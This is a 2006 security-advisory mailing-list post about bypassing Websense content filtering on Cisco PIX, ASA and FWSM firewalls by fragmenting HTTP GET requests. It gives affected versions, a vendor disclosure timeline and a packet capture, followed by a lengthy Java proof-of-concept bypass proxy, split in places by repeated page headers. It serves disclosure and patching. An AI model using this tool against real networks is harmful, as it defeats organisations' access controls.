

# [NEWS] Websense Enterprise Web Filtering Bypass

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-05/msg00042.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 9 May 2006 20:06:20 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Websense Enterprise Web Filtering Bypass

---

## SUMMARY

" <<http://www.websense.com/global/en/ProductsServices/WebsenseEnterprise/>>  
Websense Enterprise, the world's leading web filtering solution, improves employee productivity, reduces legal liability, and optimizes the use of IT resources."

The vulnerability exists primarily due to the manner in which Cisco PIX and other Cisco filtering devices handle split packets in conjunction with Websense Enterprise integration.

## DETAILS

### Vulnerable Systems:

- \* Cisco PIX software version 6.3
- \* Cisco PIX ASA version 7
- \* Cisco FWSM software version 2.3
- \* Cisco FWSM software version 3.1

### Immune Systems:

- \* Cisco PIX software version 6.3.5(112) and above



## [NEWS] Websense Enterprise Web Filtering Bypass

```
55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 User-Agent: Mozi
6C 6C 61 2F 35 2E 30 20 28 58 31 31 3B 20 55 3B lla/5.0 (X11; U;
20 46 72 65 65 42 53 44 20 69 33 38 36 3B 20 65 FreeBSD i386; e
6E 2D 55 53 3B 20 72 76 3A 31 2E 37 2E 39 29 20 n-US; rv:1.7.9)
47 65 63 6B 6F 2F 32 30 30 35 30 37 31 38 20 46 Gecko/20050718 F
69 72 65 66 6F 78 2F 31 2E 30 2E 35 0D 0A 41 63 irefox/1.0.5..Ac
63 65 70 74 3A 20 69 6D 61 67 65 2F 70 6E 67 2C cept: image/png,
2A 2F 2A 3B 71 3D 30 2E 35 0D 0A 41 63 63 65 70 */*;q=0.5..Accep
74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 75 t-Language: en-u
73 2C 65 6E 3B 71 3D 30 2E 35 0D 0A 41 63 63 65 s,en;q=0.5..Acce
70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 7A 69 pt-Encoding: gzi
70 2C 64 65 66 6C 61 74 65 0D 0A 41 63 63 65 70 p,deflate..Accep
74 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D 38 t-Charset: ISO-8
38 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 2E 859-1,utf-8;q=0.
37 2C 2A 3B 71 3D 30 2E 37 0D 0A 4B 65 65 70 2D 7,*;q=0.7..Keep-
41 6C 69 76 65 3A 20 63 6C 6F 73 65 0D 0A 43 6F Alive: close..Co
6E 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D nnection: close.
0A 0D 0A ...
```

-----

```
11/04-10:06:36.458004 0:30:7B:93:19:4C -> 0:B:DB:DE:19:87 type:0x800
len:0x42
82.165.25.125:80 -> 10.254.5.113:58034 TCP TTL:49 TOS:0x0 ID:55157
IpLen:20 DgmLen:52 DF
***A**** Seq: 0x21D6E47 Ack: 0xF5B81095 Win: 0x1920 TcpLen: 32
TCP Options (3) => NOP NOP TS: 160066982 148683
```

-----

If various PIX/ASA/FWSM software versions are configured to use Websense/N2H2 for content filtering, users may be able to bypass HTTP content restrictions. By fragmenting the GET method of an HTTP request into multiple packets, it is possible to cause a condition in which the PIX/ASA/FWSM firewall will mistakenly allow a restricted website to be accessed. The PIX/ASA/FWSM firewall expects the entire GET method to be received in one packet. There are no workarounds which mitigate or eliminate this issue.

WebSense and Cisco were first notified on 2005-11-04. While no responses or acknowledgments were received from Websense the following time line outlines the responses from Cisco regarding this issue:

### Disclosure Timeline:

- 2005-11-04 - Acknowledgment of security notification
- 2005-12-02 - Subsequent follow-up and response from Cisco to determine cause of observed behavior
- 2006-01-04 - Subsequent follow-up and response from Cisco acknowledging issue is being addressed by development teams
- 2006-01-30 - Estimated release of PIX code for 7.0.4 release is 2/20/2006
- 2006-02-17 - Notified by Cisco that fix will not make estimated delivery

## [NEWS] Websense Enterprise Web Filtering Bypass

date due to regression issues, new release data of 3/20/2006 provided  
2006-03-06 – Status update from vendor on new date, targets on track for  
7.0 PIX OS release  
2006-03-13 – Confirmation from Cisco on 3/20 code release  
2006-03-17 – Communications from Cisco notifying VSR of other potential  
products affected (FWSM).  
2006-03-24 – Communications received from Cisco acknowledging  
communication with FWSM team  
2006-04-04 – Communication received from Cisco acknowledging FWSM  
vulnerability  
2006-04-07 – Communications from Cisco confirming fixes for FWSM 2.3.x and  
3.x PSIRT awaiting release date for code  
2006-04-14 – Communications from Cisco providing coordination details with  
FWSM team  
2006-04-18 – Communications from Cisco providing build details  
incorporating fixes for FWSM products  
2006-04-26 – Communications from Cisco providing details and update on  
FWSM testing and release availability; coordination for advisory release  
2006-05-04 – Communications from Cisco for advisory release coordination

Proof of Concept:

```
// Copyright (C) 2005-2006 Virtual Security Research, LLC. – All rights reserved
```

```
// Disclaimer: Use this tool at your own risk. The author of this utility  
// nor Virtual Security Research, LLC. will assume any liability for  
// damage  
// caused by running this code. This utility is provided for educational  
// purposes only.
```

```
import java.lang.*;  
import java.net.*;  
import java.io.*;  
import java.util.*;  
import javax.swing.JFrame;  
import javax.swing.JScrollPane;  
import javax.swing.JTextArea;  
import javax.swing.SwingUtilities;  
import java.awt.BorderLayout;  
  
class WebsenseBypassProxyConnection implements Runnable {  
    Socket csock;  
    Socket ssock;  
    static int count = 0;  
    WebsenseBypassProxy wbp;  
    public WebsenseBypassProxyConnection(Socket csock, WebsenseBypassProxy  
parent) {  
        this.csock = csock;  
        this.wbp = parent;  
    }  
    private StringBuffer GetHeader(InputStream istream) throws IOException
```

```

{
ByteArrayOutputStream out = new ByteArrayOutputStream();
int i;
do {
i = istream.read();
if (i == -1) {
if(out.size() > 0) {
String s = out.toString();
if(s.endsWith("\r\n"))
return (new StringBuffer(out.toString() + "\r\n"));
else if (s.endsWith("\n"))
return (new StringBuffer(out.toString() + "\n"));
}
throw (new IOException());
}
out.write((byte) i);
} while ((!out.toString().endsWith("\r\n\r\n")) &&
(!out.toString().endsWith("\n\n")));
return (new StringBuffer(out.toString()));
}
private HashMap GetHeaderParam(StringBuffer header) {
HashMap h = new HashMap();
int i=0;
try {
if ((i=header.toString().indexOf("\n")) > 0) {
StringTokenizer stok =
new StringTokenizer(header.toString().substring(i),
":\r\n", true);
try {
while(stok.hasMoreTokens()) {
// Get name value pair
String tok = stok.nextToken(":").trim().toLowerCase();
stok.nextToken();
String tokval = stok.nextToken("\r\n").trim();
h.put(tok, tokval);
//System.out.println("n, v: "+tok +", "+tokval);
}
} catch(NoSuchElementException e) {
}
}
} catch (Exception e) {
}
return(h);
}
private StringBuffer GetReqBody(InputStream istream) throws
IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
int i;
while ((!out.toString().endsWith("\r\n\r\n")) ||
out.toString().endsWith("\n\n")) {

```

```

i = istream.read();
if (i == -1) {
if(out.size() > 0) {
String s = out.toString();
if(s.endsWith("\r\n"))
return (new StringBuffer(out.toString() + "\r\n"));
else if (s.endsWith("\n"))
return (new StringBuffer(out.toString() + "\n"));
}
throw (new IOException());
}
out.write((byte) i);
}
return (new StringBuffer(out.toString()));
}
public void run() {
Socket ssock = null;
InputStream clientIn = null;
BufferedOutputStream clientOut = null;
InputStream serverIn = null;
BufferedOutputStream serverOut = null;
int i=0;
int ch=-1,r0=-1,r1=-1;
try {
clientIn = csock.getInputStream();
clientOut = new BufferedOutputStream(csock.getOutputStream());
StringBuffer buf = GetHeader(clientIn);
int idx = buf.indexOf("Proxy-Connection:");
int eol = buf.indexOf("\r\n", idx+18);
//System.out.println("Idx: "+idx+" ,eol: "+eol);
if ((idx > 0) && (eol > 0)) {
buf = buf.replace(idx, eol, "Connection: close");
}
// And we should just make our lives easy and change keep-alives
// to close.
idx = -1;
eol = -1;

idx = buf.indexOf("Keep-Alive:");
eol = buf.indexOf("\r\n",idx+11);

//System.out.println("Idx: "+idx+" ,eol: "+eol);
if ((idx > 0) && (eol > 0)) {
buf = buf.replace(idx, eol, "Keep-Alive: close");
}

HashMap h = GetHeaderParam(buf);
StringTokenizer st = new StringTokenizer(buf.toString());
String reqtype = st.nextToken().toUpperCase();
URL req = new URL(st.nextToken());
String remotehost = req.getHost();

```

## [NEWS] Websense Enterprise Web Filtering Bypass

```
int remoteport = req.getPort();
if (remoteport == -1) {
remoteport = 80;
}

// change the target to remove the host and protocol
idx = -1;
int end = -1;

idx = buf.indexOf(reqtype + " " + req.toString());
end = idx + (reqtype + " " + req.toString()).length();

//System.out.println("Request and URL Idx: "+idx+" , end: "+end);
if ((idx >= 0) && (end > 0)) {
buf = buf.replace(idx, end, reqtype + " " +
req.getPath().toString());
}
wbp.displayMessage(">> "+reqtype+" "+req.getPath().toString()+"\n");
//System.out.println(">> "+reqtype+" "+req.getPath().toString());
ssock = new Socket(remotehost,remoteport);
//StringBuffer buf2 = GetReqBody(clientIn);

StringReader sr = new StringReader(buf.toString());

serverIn = ssock.getInputStream();
serverOut = new BufferedOutputStream(ssock.getOutputStream());
while ((ch = sr.read()) != -1) {
serverOut.write(ch);
if (i == 0) {
// Flush out the first byte
serverOut.flush();
}
i++;
}
serverOut.flush();
while ((ch = serverIn.read()) != -1) {
clientOut.write(ch);
}
wbp.displayMessage(">>XX>> Server stream closed\n");
//System.out.println(">>XX>> Server stream closed");
clientOut.flush();
// just added
csock.shutdownOutput();
ssock.close();
csock.close();
ssock.close();
csock.close();
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
```

## [NEWS] Websense Enterprise Web Filtering Bypass

```
}

public class WebsenseBypassProxy extends JFrame {
private Object lock = new Object();
private JTextArea displayArea;

public WebsenseBypassProxy() {
super("Websense Filter Bypass Proxy 1.0");
displayArea = new JTextArea();
add(new JScrollPane(displayArea), BorderLayout.CENTER);
setSize(400, 250);
setVisible(true);
displayArea.setEditable(false);
}

void start (int lport) {
WebsenseBypassProxyListener wbp=new WebsenseBypassProxyListener(this);
wbp.lport = lport;
Thread listener = new Thread(wbp);
listener.start();
displayMessage("Starting proxy listener on port: "+lport+"\n");
//System.out.println("Starting proxy listener on port: "+lport);
}
void shutdown() {
synchronized(lock) {
}
}
public void displayMessage( final String messageToDisplay ) {
SwingUtilities.invokeLater(
new Runnable() {
public void run() {
displayArea.append( messageToDisplay );
}
}
);
}
public void run(int lport) {
ServerSocket lsock;
try {
lsock = new ServerSocket(lport);
for (;;) {
try {
Socket s;
s = lsock.accept();
WebsenseBypassProxyConnection wbpc =
new WebsenseBypassProxyConnection(s, this);
Thread t = new Thread(wbpc);
t.start();
} catch (IOException e) {
System.out.print(e.toString());
return;
}
}
}
}
```

## [NEWS] Websense Enterprise Web Filtering Bypass

```
}
}
} catch (Exception e) {
System.out.print(e.toString());
}

}

public static void main(String[] argv) {
if (argv.length != 1) {
System.err.println(
"Usage:\n\t java WebsenseBypassProxy <portnum>\n");
} else {
try {
int localport = Integer.parseInt(argv[0]);
WebsenseBypassProxy wbp = new WebsenseBypassProxy();
wbp.start(localport);
} catch (Exception e) {
e.printStackTrace(System.err);
}
}
}
}

class WebsenseBypassProxyListener implements Runnable {
WebsenseBypassProxy p;
public int lport;
public WebsenseBypassProxyListener(WebsenseBypassProxy p) {
this.p = p;
}
public void run() {
p.run(lport);
}
}

/* EOF */
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:mcerha@xxxxxxxxxx>> Matthew Cerha , George Gal.

The original article can be found at:

<<http://www.vsecurity.com/bulletins/advisories/2006/cisco-websense-bypass.txt>>  
<http://www.vsecurity.com/bulletins/advisories/2006/cisco-websense-bypass.txt>,

<<http://www.vsecurity.com/bulletins/advisories/2006/cisco-websense-bypass.txt>>  
<http://www.vsecurity.com/bulletins/advisories/2006/cisco-websense-bypass.txt>

The proof of concept can be found at:

<<http://www.vsecurity.com/tools/WebsenseBypassProxy.java>>  
<http://www.vsecurity.com/tools/WebsenseBypassProxy.java>

[NEWS] Websense Enterprise Web Filtering Bypass

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.